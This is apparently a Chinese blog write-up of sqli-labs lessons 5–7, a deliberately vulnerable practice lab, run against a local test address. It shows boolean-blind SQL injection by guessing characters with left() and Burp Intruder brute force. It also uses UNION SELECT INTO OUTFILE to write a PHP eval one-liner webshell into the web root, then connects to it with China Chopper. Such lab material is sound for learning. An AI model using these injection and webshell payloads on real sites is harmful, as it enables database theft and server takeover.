• sqli-labs Less05-Less07


    Lesson 05 Double injection -Single quotes - string (双注入GET单引号字符型注入)  bool型注入

    (1)查看是否有注入

       ?id=1

       SELECT * FROM users WHERE id='1' LIMIT 0,1

        当随便输入一个ID值时

       没有返回任何东西,通过此可以判断此为布尔盲注。

      就是当正确时,返回结果;错误的时候,不会返回结果

    (2)加上单引号,报错

      ?id=1'

      SELECT * FROM users WHERE id='1'' LIMIT 0,1

      错误显示,1的附近多了一个单引号,说明有注入漏洞

    (3)使用 order by 语句

      发现还是三列

      ?id=1' order by 3--+

     

    (4)这个时候,并不能直接使用union select 语句,因为此时只要输入正确就会出现此语句,并没显示用户的信息。这里使用left()函数,来探取、判断用户信息。

      ?id=1' and left((select database()),1)='s'--+

      此时返回正常,说明库的第一个字母为s

      但是,这样猜解过于麻烦,此时需要使用burp suite爆破

      爆破过程:先设置代理,打开burp suite,获取信息,发送到Intruder,对整体进行clear,再选中a,将a作为变量,点击ADD,把相关配置配置好,开始爆破,出现的结果进行排序,在最上面,数值与其他结果不一样的就是正确的,再继续探索即可,具体图片不再展示。

      之后操作一样,不断爆破,最后得到猜解出结果为security

     

      Lesson 05结束

     

     

     

    Lesson 06 Double injection -Double quotes - String (双注入GET双引号字符型注入)

      这道题与第五课差不多

    (1)首先测试一下是什么样的

      ?id=1

      包裹着1的是双引号,所以只后测试不用加单引号,直接加双引号即可。

    (2)加上双引号测试

       有错误

    (3)使用order by语句查列

        还是三列

     

      这对我们来说并没有什么用处,因为它没有回显

      剩下的皆与上一课相似,不再过多演示

      Lesson 06结束

    Lesson 07 Dump into outfile - String (导出文件GET字符型注入)

    (1)先进行测试,看回显出的语句是什么

       ?id=1

       SELECT * FROM users WHERE id=(('1')) LIMIT 0,1

      显示要用outfile函数去写

    (2)看测试出的sql语句,得出下次测试需要在后面加上’)),记得注释掉

        ?id=1'))--+

       显示出正确结果

    (3)使用order by语句测试出有三列

    (4)使用union select语句进行联合查询(这里要使用一句话木马,中国菜刀)

       先不用一句话木马,只是用outfile往文件里写入一个简单的单词

      ?id=-1')) union select 1,2,'crow' into outfile "C:\phpstudy\WWW\sqli-labs-master\Less-7\test.php"--+

      此时Less-7文件夹里出现了新建立的test.php文件,里面有刚写入的数据

     

      若前面不是-1,而是1,则还会多一行原本的用户信息

    (5)因为要使用中国菜刀进行访问,所以要把一句话木马写进去

      ?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>'into outfile "C:\phpstudy\WWW\sqli-labs-master\Less-7\a.php"--+

     

      一句话木马中,双引号内的就是密码

    (6)现在开始使用中国菜刀,先直接进行访问

      http://192.168.3.254/sqli-labs-master/Less-7/a.php

      现在还什么都不显示

      使用中国菜刀进行连接

     

       这时,就成功拿到这个网站的web shell

      补充:

    1. into outfile 写文件

        可以把前面的文字写入指定的文件或者指定的路径

     

       如果出现错误,可以将改为\,会比较安全

      2.load_file() 读取本地文件

      Lesson 07结束

  • 相关阅读:
    ADO.NET Entity Framework之ObjectQuery
    高效byte[]和string互转的方法
    异步邮件发送
    ADO.NET Entity Framework之ObjectContext
    【转】Memcache and Mongodb
    一周工作总结一次SQL优化记录
    Ubuntu下有关Java和数据库的一些工作记录(一)
    自定义函数,替换字符串中指定位置的字符
    一次优化记录
    对比shrink和move
  • 原文地址:https://www.cnblogs.com/zhaihuijie/p/12509609.html
Copyright © 2020-2023  润新知